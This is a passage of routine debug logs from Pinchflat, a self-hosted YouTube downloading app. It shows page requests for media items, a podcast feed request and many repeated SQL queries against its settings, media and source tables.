s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:03.183 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:03.183 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:03.183 [info] Sent 200 in 1ms 17:41:16.629 [info] {"source":"oban","duration":9818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:19.478 [info] GET /sources/28/media/1576207/edit 17:41:19.478 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1576207", "source_id" => "28"} Pipelines: [:browser] 17:41:19.479 [debug] QUERY OK source="media_items" db=0.1ms idle=1132.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576207] 17:41:19.479 [debug] QUERY OK source="settings" db=0.0ms idle=1132.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:19.479 [debug] QUERY OK source="settings" db=0.0ms idle=1132.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:19.479 [debug] QUERY OK source="settings" db=0.0ms idle=1132.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:19.480 [info] Sent 200 in 1ms 17:41:19.778 [info] GET /sources/45/media/1577521 17:41:19.778 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577521", "source_id" => "45"} Pipelines: [:browser] 17:41:19.778 [debug] QUERY OK source="media_items" db=0.1ms idle=456.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577521] 17:41:19.779 [debug] QUERY OK source="tasks" db=0.1ms idle=300.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577521] 17:41:19.779 [debug] QUERY OK source="sources" db=0.2ms idle=299.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:41:19.779 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=300.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5247640, 5248060] 17:41:19.779 [debug] QUERY OK source="settings" db=0.1ms idle=300.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:19.780 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:19.780 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:19.780 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:19.781 [info] Sent 200 in 3ms 17:41:20.279 [info] GET /sources/1/media/1576246/edit 17:41:20.279 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1576246", "source_id" => "1"} Pipelines: [:browser] 17:41:20.279 [debug] QUERY OK source="media_items" db=0.1ms idle=500.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576246] 17:41:20.280 [debug] QUERY OK source="settings" db=0.0ms idle=500.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:20.280 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:20.280 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:20.280 [info] Sent 200 in 1ms 17:41:20.778 [info] GET /sources/45/media/1577472/edit 17:41:20.778 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577472", "source_id" => "45"} Pipelines: [:browser] 17:41:20.779 [debug] QUERY OK source="media_items" db=0.1ms idle=498.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577472] 17:41:20.779 [debug] QUERY OK source="settings" db=0.0ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:20.779 [debug] QUERY OK source="settings" db=0.0ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:20.779 [debug] QUERY OK source="settings" db=0.0ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:20.780 [info] Sent 200 in 1ms 17:41:21.280 [info] GET /sources/1/media/1577334/edit 17:41:21.280 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577334", "source_id" => "1"} Pipelines: [:browser] 17:41:21.280 [debug] QUERY OK source="media_items" db=0.1ms idle=957.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577334] 17:41:21.281 [debug] QUERY OK source="settings" db=0.0ms idle=502.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:21.281 [debug] QUERY OK source="settings" db=0.0ms idle=501.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:21.281 [debug] QUERY OK source="settings" db=0.0ms idle=501.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:21.281 [info] Sent 200 in 1ms 17:41:21.780 [info] GET /sources/28/media/1575736/edit 17:41:21.781 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1575736", "source_id" => "28"} Pipelines: [:browser] 17:41:21.781 [debug] QUERY OK source="media_items" db=0.1ms idle=500.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575736] 17:41:21.781 [debug] QUERY OK source="settings" db=0.0ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:21.781 [debug] QUERY OK source="settings" db=0.0ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:21.782 [debug] QUERY OK source="settings" db=0.0ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:21.782 [info] Sent 200 in 1ms 17:41:22.282 [info] GET /sources/6/media/1577874/edit 17:41:22.282 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577874", "source_id" => "6"} Pipelines: [:browser] 17:41:22.282 [debug] QUERY OK source="media_items" db=0.1ms idle=958.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577874] 17:41:22.283 [debug] QUERY OK source="settings" db=0.0ms idle=501.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:22.283 [debug] QUERY OK source="settings" db=0.0ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:22.283 [debug] QUERY OK source="settings" db=0.0ms idle=501.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:22.284 [info] Sent 200 in 1ms 17:41:22.791 [info] GET /sources/1/media/1576241/edit 17:41:22.791 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1576241", "source_id" => "1"} Pipelines: [:browser] 17:41:22.792 [debug] QUERY OK source="media_items" db=0.1ms idle=508.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576241] 17:41:22.792 [debug] QUERY OK source="settings" db=0.0ms idle=508.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:22.792 [debug] QUERY OK source="settings" db=0.0ms idle=508.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:22.792 [debug] QUERY OK source="settings" db=0.0ms idle=509.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:22.793 [info] Sent 200 in 1ms 17:41:23.294 [info] GET /sources/1/media/1577478/edit 17:41:23.294 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577478", "source_id" => "1"} Pipelines: [:browser] 17:41:23.294 [debug] QUERY OK source="media_items" db=0.1ms idle=969.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577478] 17:41:23.295 [debug] QUERY OK source="settings" db=0.1ms idle=503.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:23.295 [debug] QUERY OK source="settings" db=0.0ms idle=502.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:23.295 [debug] QUERY OK source="settings" db=0.0ms idle=503.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:23.296 [info] Sent 200 in 1ms 17:41:30.387 [info] GET /sources/4893f34e-338f-4b8b-a53c-d58258d7b402/feed.xml 17:41:30.387 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4893f34e-338f-4b8b-a53c-d58258d7b402"} Pipelines: [:maybe_basic_auth] 17:41:30.387 [debug] QUERY OK source="sources" db=0.2ms idle=52.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4893f34e-338f-4b8b-a53c-d58258d7b402"] 17:41:30.406 [debug] QUERY OK source="media_items" db=19.0ms idle=41.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 17:41:30.510 [debug] QUERY OK source="source_metadata" db=0.1ms idle=163.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 17:41:30.510 [debug] QUERY OK source="media_metadata" db=0.0ms idle=163.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577902] 17:41:30.515 [info] Sent 200 in 127ms 17:41:31.090 [info] GET /sources/1/media/1577879/edit 17:41:31.090 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577879", "source_id" => "1"} Pipelines: [:browser] 17:41:31.090 [debug] QUERY OK source="media_items" db=0.1ms idle=743.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577879] 17:41:31.090 [debug] QUERY OK source="settings" db=0.0ms idle=703.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.091 [debug] QUERY OK source="settings" db=0.0ms idle=684.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.091 [debug] QUERY OK source="settings" db=0.0ms idle=580.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.091 [info] Sent 200 in 1ms 17:41:31.132 [info] GET /sources/28/media/1574319 17:41:31.132 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1574319", "source_id" => "28"} Pipelines: [:browser] 17:41:31.132 [debug] QUERY OK source="media_items" db=0.1ms idle=621.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1574319] 17:41:31.132 [debug] QUERY OK source="sources" db=0.1ms idle=41.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:41:31.133 [debug] QUERY OK source="tasks" db=0.8ms idle=41.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1574319] 17:41:31.133 [debug] QUERY OK source="settings" db=0.0ms idle=42.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.133 [debug] QUERY OK source="settings" db=0.0ms idle=42.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:31.133 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 